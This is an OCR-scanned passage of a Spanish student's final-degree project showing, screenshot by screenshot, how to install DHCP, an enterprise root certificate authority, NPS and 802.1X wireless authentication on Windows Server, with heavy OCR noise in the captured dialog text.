Ambitos DHCP ¥ actualizacion de directivas de
mantenimiento de clientes.
Modo sin estado DHCPva
Configuradidn DNS IPvE

Autorizacidn del servidor D...
ADCS

Servicios de rol

Tipo de instalacion

Tipo de CA

Clave privada
Criptografia —
Nombre de CA
Periodo de validez

Mas informadion acerca de los servicios de rol

Base de datos de certificados < Anterior Siguientes = Instalan Cancelar
«| | »
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Le damos a siguiente. Le damos otra vez a siguiente. Seleccionamos:

Asistente para agregar roles ZI
ﬁ Seleccionar enlaces de conexién de red
a
Antes de comenzar m Se detectaron una o varias conexiones de red que tienen una direccion IP estatica. Cada conexidn de red
Bhles = sorinr se puede usar para dar servido a dientes DHCP en una subred diferente.
Servicios de acceso y directivas d... Seleccone las conexiones de red que usara este servidor DHCP para dar servido a los dientes.
Servidios de rol
Conexiones de red:
Servidor DHCP Direcdian I I o0 I
192,168, 1,150 Pud
Configuracion DNS IPv4
Configuraddn WINS IPv4
Ambitos DHCP
Modo sin estado DHCPvE
Configuracidn DNS IPve
Autorizacion del servidor D...
ADC5
Servicios de rol
Tipo de instaladion
—Detalles.
ihodeth Mombre: Conexidn de drea local
Clave privada Adaptador de red: Conexidn de érea local
Criptografia e Direccion fisica: 03-00-27-91-98-16
MNombre de CA
Periodo de validez
Base de datos de certificados. < -Anterior | Siguiente = I Cancelar
4] | »
Le damos a siguiente. Escribimos:
x

Antes de comenzar

Roles de servidor

Servicios de acceso y directivas d...
Servicios de rol

Servider DHCP

Enlaces de conexidn de red

Configuracion WINS IPv4
Ambitos DHCP

Modo sin estado DHCPva
Configuracion DNS IPve
Autorizacion del servidor D...
AD C5
Servidos de rol
Tipo de instaladdn
Tipo de CA
Clave privada
Criptografia L
Mombre de CA
Periodo de validez

Base de datos de certificados
Rl | »

Especificar la configuracién del servidor DNS IPv4

Cuando los dientes obtienen una direccidn IP del servider DHCP, pueden propordionarseles opdones DHCP
come |as direcciones IP de los servidores DNS y el nombre del dominio primario. La configuracidn que
especifique agui se aplicara a los dientes que usen IPv4,

Especifique el nombre del domirio primario que usaran los dientes para la rezolucidn de nombres, Este dominio
se usara para todos los ambitos que ree en este servidor DHCP,

Dominlo primario:
IESTFC.org

Espedfique las direcciones TP de los servidores DNS que usaran los dientes para |a resolucion de nombres.
Estos servidores DMS se usaran para todos los ambitos que cree en este servidor DHCP,

Direccién IPv4 del servidor DMS preferido:
|182.168.1.150

Validar I

@ valida

Direccion IPv4 del servidor DMS alternativo:

Més informacidn acerca de la confiquracidn del servidor DNS

< Anterior Cancelar

Siguiente >
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Le damos a siguiente. Le damos otra vez a siguiente. Le damos a Agregar:

Asistente para agregar roles i ll
Agregar o editar ambitos DHCP
Antes de comenzar _l Un mbito es el intervalo de posibles direcciones IP para una red. El servidor DHCP no puede distribuir
Roles de servic ebkat Gl ambito i i x|
Servidos de 8¢ | Zmbito es un intervalo de posibles direcdones TP para una red. £l servidor DHCP no boar
Servidos de  PuUede distribuir direcdones IP 3 los clientes hasta que se cree un dmbito,
Servidor DHCP —Opciones de configuraddn para el servidor DHCP L0
Erlaces de | Mombre de dmbito: |RADIUS
Configurad | Direccidn IP inicial: |152.168.1.175
Configrad | pyecign 1P final: [152.16.1.135
Tipo de subred: ICabIeado (la duracidn de la concesidn serd de & dias) LI
Modo sin es
Continicr IV Activar este dmbito
Autorizacién [ Opdones de configuradon que se propagan al diente DHCP
AD C5 Méscara de subred: |255,255,255.0
Servidos dé Puerta de enlace predeterminada (opdonal): 1192- 168. 1.1
Tipo de inst
Tipo de CA Aceptar Cancelar
Clave priva |
Criptografia
Mas informadcn acerca de la adicdn de dmbitos.
Nombre de CA
Periodo de validez
Base de datos de certificados.  « < Anterior Siguients = Instalar Cancelar
| | »

Aceptamos y siguiente:

Asistente para agregar roles ﬁl

Configurar el modo sin estado DHCPv6

Antes de comenzar -

Roles de servidor

Servidos de acceso y directivas d...
Servicios de rol

Servidor DHCP
Enlaces de conexion de red
Configuracidn DNS IPv4
Configuracion WINS IPv4
Ambitos DHCP

Modo sin estado DHC

Autorizadon det servidor D...
ADCS
Servicios de-ral
Tipo de instaladdn
Tipo de CA
Clave privada
Criptografia
Mombre de CA

Periodo de validez

Base de datos de certificados
Cenfirmacidn

=
4| | »

El servidor DHCP admite el protocolo DHCPvE para dar servido a dientes IPv6. Mediante DHCPvE, los dientes
pueden configurar automaticamente sus direcciones IPvE con el modo sin estado o pueden adquirir direcciones
IPva en modo con estado en el servidor DHCP. Silos enrutadores de la red estén configurados para admitir
DHCPvE, aseglrese de gue |a opodn selecdonada a continuaddn coindda con la configuradidn del enrutador,

Seleccione la configuradcn de moda sin estado DHCPYE para este servidar,

™ Habilitar &l modo sin estado DHCPVE para este servidor
Los dientes IPv6 se configuraran automaticamente sin usar este servidor DHCP,

(¥ Deshabilitar &l mode sin estado DHCPYE para este servidar

Una vez instalado el servidor DHCP, puede configurar el modo DHCPvE mediante la consola de
administracion de DHCP,

Mas informadién acerca del modo sin estado DHCPYE

< Anterior I Siguiente =

Cancelar
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Le damos a siguiente:

Asistente para agregar roles B

Pl

Antes de comenzar

Roles de servidor

Servidos de-acceso y directivas d...
Servidos de rol

Servidor DHCP
Enlaces de conexidn de red
Configuracion DNS IPv4
Configuracién WINS IPv4
Ambitos DHCP

Modo sin estado DHCPva

ADCS
Servidos de rol
Tipo de instalacion
Tipo de CA
Clave privada
Criptografia
Mombre de CA
Periodo de validez T

Base de datos de certificados
Confirmacidn

«| | ¥

Autorizar servidor DHCP

Los Servicios de dominio de Active Directory {AD DS} almacenan una lista de servidores DHCP que estan
autorizados a dar servido a dientes de la red. La autorizadin de servidores DHCP ayuda a evitar dafios
accdentales ocasionados por la ejecudcn de servidores DHCP con configuraciones incorrectas o servidores
DHCP con configuradiones correctas en la red incorrecta.

Espedfique las credenciales que desea usar para autorizar este servidor DHCP en AD DS.

% Usar credenciales actuales.
Las credendiales del usuario actual se usaran para autorizar este servidor DHCP en AD DS,
[IESTRC\Administradar

Nombre de usuario:

™ Usar credendales alternativas
Espedifiue credendiales de administrador del dominio para autorizar este servidor DHCP en AD DS.

Especificar. .. |

Mombre de usuario:

" Omitir |a autorizacion de este servidor DHCP en AD DS

1 Este servidor DHCP debe autorizarse en los Servicios de dominio de Active Directory para que pueda
~ dar servido a dientes.

Mas informacddn acerca de la autorizadon de servidores DHCP en AD DS

Instalan Cancelar

< Anterior | Siguiente >

Le damos a siguiente y otra vez a siguiente.

Asistente para agregar roles

@ Seleccionar servicios de rol

-

Antes de comenzar

Rales de sarvidar

Servicios de acceso y directivas d...
Servicios de rol

Servidor DHCP
Enlaces de conexidn de red
Configuracion DNS IPv4
Configuracidn WINS IPv4
Ambitos DHCP
Modo sin estado DHCPvE
Autorizacion del servidor D...

ADCS

Tipo de instaladdn

Tipo de CA

Clave privada
Criptografia

Mombre de CA

Periado de validez

Base de datos de certificados

Confirmacidn -
4 |

Seleccione los servidos de rol que desea instalar para Servidos de certificados de Active Directory:

Servidos deral: Descripcion:

Entidad de certificacidn (CA) sirve
para emitir y administrar certificados.
%e pueden vincular varias CA para
formar una infraestructura de clave
publica.

Entidad de certificacion

Inscripdan web de entidad de certificacion
Respondedor en linea

Servido de inscripdon de dispositivos de red

Servido web de inscripcién de certificados

Servidio web de directivas de inscripcidn de certificados

I

Mas informacidn acerca de los servicios de ral

+ Anterior | Siguiente = I

Cancelar

Le damos a siguiente.
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Asistente para agregar roles ll
ﬁé’ Especificar tipo de instalacién
a
Antes de comenzar | Lasentidades de certificaddn pueden usar datos de Active Directory para simplificar la emisidn y administraden

. de certificados. Especifiue si desea configurar una CA de empresa o independiente,
Roles de servidor

Servicos de acceso y directivas d...

= Empresa

Servidos de rol Seleccione esta opcidn si esta CA ez miembro de un dominio y puede usar el servicio de directorio para
i emitir y administrar certificados.

Enlaces de conexidn de red Cm i

Configuradian DNS IPv4 Seleccione esta oprién si esta CA no usa datos del servicio de directorio para emitir o administrar

Configuracién WINS P4 certificados. Una CA independients puede ser miembro de un dominio.

Ambitos DHCP

Medo sin estado DHCPvE

Autorizadidn del servidor D...
ADC5

Servidos de rol

Tipo de instaladén

Tipo de CA

Clave privada

Criptografia

Mombre de CA

Periodo de validez T
Base de datos de certificados

Confirmacion - < Anterior | 5iguiente>|
| >

Més informacidn acerca de las diferendias entre la configuracidn de empresa e independiente

Cancelar

4]

Le damos a siguiente.

Asistente para agregar roles B ﬁl

Especificar tipo de CA

Antes de comenzar Puede configurarse una combinacidn de CA raiz y subordinadas para crear una infraestructura de dave plblica
. {PKI} jerdrquica. Una CA raiz es una CA que emite su propio certificado autofirmado. Una CA subordinada
Roles de servidor recibe su certificado de otra CA. Especifique si desea instalar una CA raiz o una subordinada.

Servidos de acceso y directivas d...

Servidos de ral ¥ Chraiz
Servidar DHCP 3;1::0;13;513 opadén i va a instalar la primera o Unica entidad de certificadon de una infraestructura de

Enlaces de conexion de red

Configuracién DNS [Pv4 " CA subordinada

i Seleccone esta opdidn si la CA obtendrd su certificado de otra CA en un nivel superior de una
AR R infraestructura de dave pablica,
Ambitos DHCP

Modo sin estado DHCPvE
Autarizacidn del servidor D. ..
AD C5
Servidos de rol
Tipo de instalacion
Clave privada
Criptografia
Nombre de CA
Periodo de validez
Base de datos de certificados

Confirmacion _ILI < Anterior | Siguients =
< | »

Mas informacidn acerca de la infraestructura de cave publica (PEIT)

Cancelar

Le damos a siguiente.
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Asistente para agregar roles ﬂ
ﬁ Configurar clave privada
-
Antes de comenzar |  Paragenerar y emitir certificados para los dientes, la CA debe tener una dave privada. Especifique si desea

crear una nueva dave privada o usar una existente.
Roles de servidor 5 i

Servidos de acceso y directivas d... ¥ Crear una nueva dave privada

Servidos de rol Use esta opcion si no tiene una dave privada o desea crear una nueva dave privada para mejorar la
seguridad. Se le pedira gue selecdone un provesdor de servidios de difrado y que espedfique una longitud

Servidor DHCP para la dave privada. Para emitir certificados nuevos, debe seleccionar también un algoritmo hash.
Enlaces de conexidn de red iy ey i it
Configuracidn DNS IPv4 Use esta opcidn para asegurar la continuidad con los certificados emitidos previamente al reinstalar una
CA
Configuradidn WINS IPv4
kit % Seleccipriar or = o= asoosds
e un certificado en este equipo o sidesea importar un certificado v usar
Modo sin estado DHCPvE

Autorizacion del servidor D...
ADC5

Servicios de rol
Tipo de instalacidn
Tipo de CA

Criptografia

Mombre de CA

) ) M3s informacdidn acerca de las daves poblicas v privadas
Periodo de validez

Base de datos de certificados

Confirmacion - < Anterior | Sigujenbebl
4 |

Le damos a siguiente.

Cancelar

Asistente para agregar roles 1[

Configurar criptografia para CA

-
Antes de comenzar | Para crearuna nueva clave privada, primero debe seleccionar un proveedor de servicios de cifrada, un
. algoritmo hashy unalongitud de dlave apropiados parael uzo previsto de los certificados que emita. Si
Roles de servidor selecciona un valor alto parala longitud de clave, la seguridad sera mayor, pero aumentara el tiempo
Servidos de acceso y directivas d..., necesario para completar las operaciones defirma.
Servidos de rol
Servidor DHER Seleccione un provesdor de servidios de cfrado (CSP): Longitud de caracteres de la dave:
RSAEMicrosoft Software Key Storage Provider ;I 1024 :I
Enlaces de conexidn de red
Configuradian DHS IPv4 Seleccione el algoritmao hash para firmar los certificados emitidos por esta CA:
or SHAZ56 e
Configuracion WINS IPv4 :I
SHA3E4

Ambitos DHCP SHAS512

-
; Coe
Modo sin estado DHCPvE ‘T | _’I_I

Autorizaddn del servidor D,

AD C5 ™ Permitir interaccién del administrador cuando la CA obtiene acceso a la dave privada,
Servidos de rol
Tipo de instaladidn
Tipo de CA
Clave privada
Mombre de CA
Periodo de validez
Base de datos de certificados

Confirmadicn - < Anterior | Siguients = I Trstalar Cancelar
| »

4]

Mas informacidn acerca de las opdanes de dfrado de una CA

Le damos a siguiente.
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Asistente para agregar roles B _ﬂ

Configurar nombre de CA

-
Antes de comenzar | Escriba un nombre comiin para identificar la CA, Este nombre se agrega a todos los certificados emitidos por la

’ CA. Los valores de sufijo de nombre distintivo se generan automaticamente, pero se pueden modificar,
Roles de servidor ;

Servicios de acceso y directivas d. . Mombre comuin para esta entidad de certificacion:
Servicios de rol |WSER1I'ER-CA
SRR Sufijo de nombre distintivo:
Enlaces de conexion de red DC=IESTFC,DC=o0rg
Configuradidn DNS IPv4
Configuracidn WINS IPv4
Ambitos DHCP Vista previa de nombre distintivo:
Mado sin estado DHCPVS CM=WSERVER-CA,DC=IESTFC,DC=0rg
Auterizaddn del servidor D...

ADCS
Servicios de rol
Tipo de instalacidn
Tipo de CA
Clave privada
Criptografia

Mombre de CA

Mas informacion acerca de la configuradon de un nombre de CA

Periodo de validez —
Base de datos de certificados
Confirmadcn - < Anterior | Siguients = Instalar Cancelar
< |

Le damos a siguiente.

Asistente para ag

% Establecer el periodo de validez

s
Antes de comenzar ™ Se emitird un certificado a esta CA para proteger las comunicacones con otras CA y con los dientes que

: soliciten certificados. El perioda de validez de un certificado de CA se puede basar en distintos factores, que
Roles de servidar incluyen el propésito previsto de la CA v las medidas de seguridad que se han tomado para proteger la CA,

Servicios de acceso y directivas d...
e Selecdone el periodo de validez del certificado generado para esta CA:
5 |afios ied
Fecha de expiradon de CA: 30122017 1:46
Tenga en cuenta que la CA emitira certificados validos sélo hasta su fecha de expiracon.

Servidor DHCP
Enlaces de conexion de red
Configuraddn DNS IPv4
Configuracidn WINS IPv4
Ambitos DHCP
Modo sin estado DHCPvE
Autorizacin del servidor ...
ADCS
Servicios de rol
Tipo de instalacidn
Tipo de CA
Clave privada
Criptografia

Nombre de CA
odo de valid

Mas informacidn acerca del establedmiento del periodo de validez de los certificados

Base de datos de certificados

Confirmacion - < Anterior | Siguiente > I Instalar Cancelar
< | »f

Le damos a siguiente.
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Asistente para agregar roles 1[

Configurar base de datos de certificados

Antes de comenzar En la base de datos de certificados se registran todas las solicitudes de certificados, certificados emitidos y

y certificados revocados o expirados. El registro de |z base de datos se puede usar para supervisar |3 actividad
Roles de servidor de administracidn de una CA.

Servidos de acceso y directivas d..,

proyve:

Servidos de rol Ubicaddn de |a base de datos de certificados:
Servidor DHCP |c: \Windows'system32icertiog Examinar... |
Enlaces de conexidn de red [~ s o5 de certi i il

Configuradion DNS IPv4 Ubicacion del registro de la base de datos de certificados:

Configuracion WINS IPv4 |C:\thcws\syshem32\l:erﬂ_og Examinar. .. |
Ambitos DHCP

Modo sin estado DHCPve
Autorizacidn del servidor D...
AD C5
Servicios de rol
Tipo de instaladidn
Tipo de CA
Clave privada
Criptografia
Nombre de CA
Periodo de validez o

Confirmadicn _ILI < Anterior | Sigujente>l Instalar Cancelar
| »

4

Le damos a siguiente, a Instalar y cuando acabe a Cerrar.

Ahora en la parte izquierda de la ventana desplegamos Roles-Servicios de acceso y directivas de
redes, damos botdn derecho encima de NPS y seleccionamos Registrar servidor en Active Directory
(en la captura ya lo teniamos registrado por eso esta deshabilitada la opcion):

B Ad rador del servidor &[]
Archiva  Action  Ver Ayuda
Bt Jl s
iy Administrador del servidor (WSERVER)
E] § Roles

1§ Servidos de acceso v drectvas de redes

s de s

T 'L, Propordiona compatibildad con enrutamienta de red, redes privadas virtuales y drectivas de acceso a redes,

Exportar configuradién =
Infcar seryio (75

Detener servido NPS

7
Resumen

. ac
E serviios ¢
Servicos ¢ Propiedades
Servidor C:
L Servidor C__Ada

{eitiar servidcr en Actie Divectéry. | ElServidor de directivas de redes (NPS) estd instalado, pero faltan pasos adiconales necesarios para configurar NPS de modo que procese o reenvie solicitudes de conexion
desde servidores de aceeso ala redy apliquela Proteccidn de acceso aredes. Ir ala consalz de NPS.

@\ [ 1r &l Visor de eventos
&1 3 Diagnéstico. e & Filrar eventos

&l i Configuracitn

B £ Amacenamiento

) Eventos: Ninguno en las ltimas 24 horas

[E] Propiedades
Nivel [ 1d. delev... | Fecha y hora [ origen [

~1 Servicios del sistema: Todos en ejecudién

< 1r 3 servidos
[nombre para mostrar | Nombre de ser... | Estado [ Tipo de nicia | Monitor |
4 Servidor de directivas de redes IAS En ejecudidn Automético Si
P triciar
Dexron: A = z = [P Reiniciar
Administra la autenticacién, a autorizacidn, la auditoria y Jas cuentas paralos intentos de conexin VPN red privada virtual) de acceso

telefiinico, inalambrica 802, 1x o por conmutacién de Ethernet enviados per servidores de acceso compatibles con el protocolo IETF RADILS, Si
<e detiene este servido, es posible que los Usuarios no puedan obtener conexiones VPN, de accesa teleforico, nalambricas o Ethernetala
red. 5 se deshabiita este servicio, no e podra inidar ninguno de los servidos que dependan expidtamente de &

5 de = Para inicar un examen del Analizador de procedmientos recomendados, haga dic B Eyaminar este rol
en Examinar este rol " e
Exchur resuitado
o compatile (0) | Excluido (0} | Compatible (0) | Todo (0} |
— o Indur resultado
Gravedad | Titlo [cateqoria |
[E propiedades
153 copiar propiedades del resultado
Ayuda
% Ultma actualizacion: Hoy a la(s) 2:02 Configurar actualizacidn
{Registrar servidor en Active Directory
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En NPS (local):

[E.. Administrador del servidor 18]
Archivo  Acddn  Ver  Ayuda |
e ANl |
ES Anmmsnadm del servidor (WSERVER) NPS (Local) Acciones
& 3 Roles —
1 Servicos de acceso y drsctives e redes Introduccion
B Importar configuraddn
Clientes y servidores RADILS 8 SdeordcdndNasdesedﬂ(NPSHE pemite crear y aplicar diectivas de acceso a redes vélidas paratoda ls
de clert de solictudes de conexén y autonzacién de solictudes de Exportar configuracién
=) Directivas conexién
&, protecadn de acceso 3 redes Triciar servica NPS
8, Cuentas
iy Acministracion de plantilas Configuracién estandar - Detener servico NES
B servidos de certificados de Active Directory Registrar servidor en Active Directory
1 Servicios de dominio de Active Directory Seleccione un escenario de configuracién en la fita y haga clic en e vineulo siguierte para abrir ol Asisterte para escenarios. —
§ Servdor DHCP =
£, Servidor DNS [5ervidor RADIUS para conexones cableadas o inaldmbrcas 802 1X =] Ver »
[ 5| Caracteristicas -
yuda
D B Disgndstico Servidor RADIUS para i inalambricas 802.1X
% configeacon Al corfigurar NPS coma servidor RADIUS para canexiones 302 X.5e co dwedwas de red que permiten a NPS autenicary
Almacenamiento aulorizar conexiones desde purtos de acceso inalambrico y fambien dlierte:
RADIUS).
B3 Configurar 802.1% 3 Obtener més infomacion
Configuracién avanzada -
Configuracién de plantillas -
q | |

Muestrala Ayuda para a seleccén actual.

Le damos a Configurar 802.1X.

Configurar 802.1X

Seleccionar tipo de conexiones 802.1X

Tipo de conexiones 802 1X:
¥ Conexiones inaldmbricas sequras

Al implementar puntos de acceso inaldmbrico 802.1X en la red, NP5 puede auterticar y autorizar solicitudes
de conexion realizadas por clientes inaldmbricos que se conecten mediante los puntos de acceso.

" Conexiol

Al implementar conmutadores de autenticacion 802.1X en la red, NP5 puede autenticar y autorizar solicitudes

nes cableadas (Ethemet) sequras

de conexion realizadas por clientes Ethemet que se conecten mediante los conmutadores.

Nombre:

Este texto predeterminado se usa como parte del nombre de todas las directivas creadas con este asistente.

Puede usar

el texto predeterminade o modificaro.

Conexiones inaldmbricas seguras

Anteriar | Siguiente I Finalizar Cancelar

Le damos a siguiente.
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Le damos a Agregar:

Configurar BO2.1X

A

Los clientes RADIUS son servidores de acceso a Ia red, como, por sjemplo, conmutadores de
autenticacion y puntes de acceso inaldmbrica. Los clientes RADIUS no son equipos cliente.

Espedificar conmutadores 802.1X

Especifique conmutadores o puntos deacceso inaldmbrico 802.1X (clientes RADIUS)

Nuevo cliente RADIUS
Corfiguracion |
I Seleccione una plartila ensterts

[ E

- Nombre v direccién
Para especificar un cliente RADIUS, haga clic en Agregar. Mombre: descriptive
Clientes RADIUS: IAP
[ Aoeger ] Direceidn {IP o DNS):
Ea | [192.168.1.200 Comprobar
dow | f =
una plantila de secretos compartidos existente:
|Ninguna j
Para sscribir un secreto compartido manuaiments, haga dic en Marual, Para
generar un secreto compartido automaticamente, haga clic en Generar. Debe
configurar el cliente RADILS con el secreto compartido indicado aqui. Los secretos
idos distinguen entr i y ming
&+ Manual " Generar
Secrsto compartido:
[eeseee
Confimar sscreto compartido:
[eeneee
Anterior Siquients Firslzsr Cancelar | T
Aceptamos y siguiente.
Configurar 802.1X x|

! Configurar un método de autenticacion

Seleccione el tipo de EAF parz esta directiva.

Tipo (basado en el método de acceso y la configuracién de red):

Anterior | Siguiente I

Configurar.

Finalizar Cancelar

Le damos a siguiente.

74



® U 0 c Jose Manuel Luaces Novoa
— Trabajo de Final de Carrera

Le damos a Agregar y agregamos al Grupo de seguridad que hemos creado antes:

Configurar B02.1X x|

.
‘ Los usuarios quesean miembros de los grupos selecdonadostendran acceso concedido o
r denegado segun la configuracién de permiso de acceso deladirectiva dered.

. Especificar grupos de usuarios

Para seleccionar grupos de usuarios, haga clic en Agregar. Si no se selecciona ningln grupo, esta directiva se
aplica a todos los usuarios

Grupos | Agregar.. I
|ESTFC\radgre
Guitar

Anterior Siguierte Finalizar, Cancelar

Le damos a siguiente, siguiente y Finalizar.

A continuacién iremos a Inicio-Ejecutar y escribiremos mmc y Aceptar. Se nos abrir4 una consola. En
ella iremos a Archivo-Agregar o quitar complemento. Una vez dentro seleccionamos Plantillas de
certificado, Certificados y Entidad de certificacion y pulsamos Agregar y Aceptar.

En la parte izquierda de la ventana seleccionaremos Plantillas de certificado, y haremos boton

derecho encima de una y le daremos a Duplicar plantilla:

7 Consolal - [Raiz de consola\Plantillas de cartificadn (WServer. 15 I =10/x|
E Archivoe Accdn  Ver Favoritos Ventana Ayuda | = x|
Ll Al s BN 7 [
= Bafz de consola a mostrar plantila = I Entidades de certificacion ..,
3 Plantilas de certificado (Wserver.JESTFC.orq) 5 Administrador Windows 2000
[ G Certificados (equipo local) 5 Agente de insaripcién Windows 2000
5] Entidad de certificacdn {Local) 17 Agents de inscripcién (FC) Windows 2000
i} Agente de inscripdidn de Exchange (solidtud... Windows 2000
E Agente de recuperacidn de EFS Windows 2000
5 Autenticacién de controlador de domirio Windows Server 2003Ent...  110.0 Acdiones adidonales »
E Autenticacidn de estaddn de trabajo Windows Server 2003 Ent..,  101.0
Plantilla duplicada ¥|F.. 1100
41
Puede crear plantilas de certificado con propiedades avanzadas, Mo %
obstante, no todas las CA de Windows admiten todas las propiedades de DS
plantillas de certificado. Selecdone |a version de Windows Server (CA 41
admitidas minimas) para la plantila de certificado duplicada. 105.0
51
" Windows Server 2003 Enterprise 5.1
* Windows Server 2008 Enterprise 51
Obtener mas informacion acerca de las versiones de plantila de 2L
certificado. £
... 101.0
come | | <2
... 106.0
2 TPSec Windows 2000 81
H psec (solicitud sin conexidn) Windows 2000 Tl
E Key Recovery Agent Windows Server 2003 Ent...  105.0
E Replicacidn de directorio de correo electrénico Windows Server 2003 Ent...  115.0
'l servidor RAS e 1a5 Windows Server 2003Ent...  101.0
5] servidor web Windows 2000 41
' sesién autenticada Windows 2000 31
] 38lo firma de usuario Windows 2000 41 =
) 5600 12 firma de Exchange Windows 2000 el
H usuario Windows 2000 31 =
I e P i _._[_I
A i »

Aceptamos.
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En la pestafia General:

Consolai - [Rafz de consola\Plantillas de certificado (WServerJESTFC.om)]

[ Archiva  Accidn  Ver

Favoritos  Ventana  Ayuda

&= e E = EHE
| Raiz d= consola Propiedades de plantilla nueva
5] Plantilas de certificado (WServer IESTFC.org)
Certificados (equipo local) Nombredelsiele |  Servidor |  Requisios de emisien
[l Entidad de certificacion (Local) Plartillas reemplazadas I Edensiones | - Sequridad
General Tretemiento de lasoictud | Criptegrafia
oot Araels 110.0 Acciones adicionales »
1010
Enfidades de catf.con  Windows Server 2003 Erterprise 110D
compatibiidad minima: 41
Mombre de plartilla: 4.1
|CertificadoUsuariosWii 3.1
41
105.0
Periodo de validez: Periodo de renavacién; i~
= 5.1
1 |Aios YI & |semanas YI e
31
. 31
™ Publicar certificado en Active Directony G
™ N e &ninserbin atomaticansrte sta esiste un certificads 61
duplicadaen Active Directany
106.0
 Famla e i e gy o
usar la clave existente si no se puede crear una clave nueva 7.1
105.0
115.0
101.0
1
3.1
41
Aospter | [ Gancolr | plcar aucs || oy
rag=c=L iy 31_[_'
= - i
~ .
En la pestafia Seguridad:
o [ 4
Acddn  Ver | =& x|
=

_ Raiz de consola

,,_Hj Plantillas de certificado (WServer IESTFC.arg)
LF Certificados {equipo local)

ﬁ;l Entidad de certificacion (Local)

H #H

Propiedades de plantilla nueva 5[ Ly

Nombredelsuste | Servidor Requistos deemisién |
Genersl | Tratamientodelasoictud | Crptografia |
Plartillas reemplazadas I Edensiones Segundad

Nombres de grupos o usuarios:

l Administrador
‘ﬂ@)}\dmlns del domirio IESTFCYAdmins. del dominio)
ﬂﬂ, Equipos del dominio (IESTFCEquipos del dominio)
S!_Mmimmdnres de empresas (IESTFC\Administradores de empresas)

Agregar... Quitar

Pemmisos de Usuarios autertificados. Pemitir  Denegar
Control total m} O
Leer O
Escribir O O
Inscribirse O
Inscripcidn automatica [m]

Para especiicar pemisos especiales o Opeion ST
avanzadas, haga clic en =58 =

Opciones avanzadas. §

Obtener mas o acerca de control y pemmisos de acceso

Apuds, |

g T
|‘ L, , A

Ha de certificado (W...

Acdones adicionales

Acciones adicionales »
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Archivo  Accddn  Ver  Favoritos  Ventsna

onsolal - [Raiz de consola\Plantillas de certificado (WServer.T¥STFCorg)] -

=10l

Ayuda

|=lmx]

&5 #HEE =]

| Rafz de consola
E‘ Plantillas de certificado (WServer, IESTFC.org)

Propiedades de plantilla nueva N

= ;]J Certificados (equipo local) Nombre del sujeto | " Servidor I Requisitos de emisidn as de certificado (W--
® 5] Entidad de certificacion (Local) Gereral |  Tratamentodelascictud | Ciptografia Acciones adidonales
Plantilas e s Sequrdad
Nombres de grupos o usuarnios: : . .
B2, Usuarios autentficados s Aedones adidenales >
.% Administrador 1050,
82, Admins. del domirio (IESTFC\Admins. del dorminio) ALY
82 Equipos del dominio (IESTFC\Equipes del dominio) 1
82, Administradores de (IESTFC Admir de ;‘1
41
105.0
: 5.1
Agregar... Quitar | ¥
Pemisos de Equipos del dominio Permitir  Denegar a1
3.1
Control total O O #
Leer O [m] 1010
Escribir O O 6.1
Inscrbirse [m] 108.0
Inszrpeidn automética O 8.1
7.1
J | 105.0
Para especiicar pemisos especisles o i | 115.0
configuraciones avanzadas. haga clic en LT 101.0
Opciones avanzadas. _ a1
Obtener mas informacién acerca de control v permisos de scces 3'1
= = 41
pospler | [ Concelr | mdicar | pwds || o)
o e 3l
b I N — Aok iy FigyE
4 _|J
En la pestafia Nombre del sujeto:
* Consolal - [Raiz de consola\Plantillas de certificado (WServer.IESTFCorg)] —_ = |EI|1|
Archiva  Acdén  Ver Favoritos  Ventana  Ayuda |_|5ﬂ
&7z 17

(| Raiz de consola

El Plantillas de certificado (V#Server JESTFC.org)
_’_;1 Certificados {equipo local)

Bl Z5] Entidad de certificacién (Local)

=

Propiedades de plantilla nueva ] 5[ Il

Generl |  Trtemientodelasoiciud | Crptografia
Plantillas: lazad | Exdensi Seguridad
Nombredelsuste | Sevidor | Requistos de emisién

" Proporcionade por & solicitarte

= Wsaififarmanicn de-sujsto de meriificadus existentes pata |4z
zoficitudes de rermvacion de insorpeitn automatica

' Constnido a partir de esta informacién de Active Directory —
Seleccione esta opcidn para reforzar la coherencia entre los nombres
de sujetos y simplficar Is administracion de cerificados.

Formato de nombre del

I™ Inciuir & nombre de comeo electrérico en e nombre del susto

Incluir ests informacion en un nombre de sujeto aftemativo:
I~ Nombre de comeo slectrérica

V' Nombre DNS

I~ Nombre principal de usuario (UPN)

™ Nombre principal de servicio (SPN)

TS 20T

Acciones adidonales

Accones adidonales 3

Aceptamos.
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En la parte izquierda de la ventana desplegamos Entidad de certificacion, WSERVER-CA 'y
seleccionamos la carpeta Plantillas de certificados. Le damos a Nuevo-Plantilla de certificado que se

va a emitir;

= Comsolal - [Raiz de consola\Entidad de o =|of x|
ﬁ Archivo  Acdén  Ver Favoritos Ventana Ayuda |;|i|5|

+=|2mlc=HE
| Raiz de consola

Plantillas de certificado (WServer IESTFC.org)
Certificados (equipo local)

=

Nombre

| Replicacién de directorio de correo elect...
| autenticacidn de controlader de dominio
E Agente de recuperacion de EFS

| Propésito planteado
Replicacién de los Servicios de directorio d...
Autenticacion del diente, Autenticacién del. ..

Ephdad de certificadidn (Local) Recuperacidn de archivos

El gi WSERVER-CA 2 A

BT sl LN Habilitar plantillas de certificados

Acciones adicionales

| Certificados emitidos

Seleccione una plantilla de cerificado para habilitar esta entidad de cerificacion (CA).

| Soliditudes pendiente
~ Error en las solidtude - Mota: si una plantils de ceficado creada recientemente no sparece en esta lista, es posible que tenga que
= Plantillas de cerfificac esperar a que |z informacion de esta plantilla se haya replicado en todos los controladores de dominio,

Es posible que no todas las plantillas de certificado de la organizacidn estén disponibles para su CA.
Para obtener mas informacidn, vea Conceptos de plantilas de certfficado.
MNombre: | Propésito planteada 2

5] Agerte de inscrpcion Agente de selictud de certificados
E Agente de inscrpeian (PCh Agente de solicitud de cerificados

E Agente de inscripcion de Exchange (solictud sin conexidn) Agente de solicitud de cerificados
Autenticacién del cliente
Autenticacidn del cliente, Autenticacién del ser

T Autenticacién de estacisn de trabajo
& Autenticacién Kerberos
i uarios Wifi

[ Cirado CEF

E Ennstador {solicitud sin conexién)
5l Entidad de certficacién cruzada
‘ﬁll Firma dle: ciclinn

Agente de solictud de certificados
Autenticacién del cliente

<Todos>

Firma de crdioa

Cancelar

4 |
| |

Le damos a Aceptar.

Ahora en la parte izquierda de la ventana desplegamos Certificados-Personal-Certificados y boton
derecho-Todas las tareas-Solicitar un nuevo certificado:

onsolal - [Raiz de consola\ %

=k
ISETE

‘@ Archivo  Acodn  Ver Favorites Ventana Ayuda
o A = R = 7 U

| Fechade |
30/12/201
ol x|

| Raiz de consola Emitido para = | Emitido por
1@ Plantilas de certificado (WServer.IESTFC.org) T IWSERVER-CA VVSERVER-CA

Certificacios (equipo loc [—Femempermr—————

| Personal
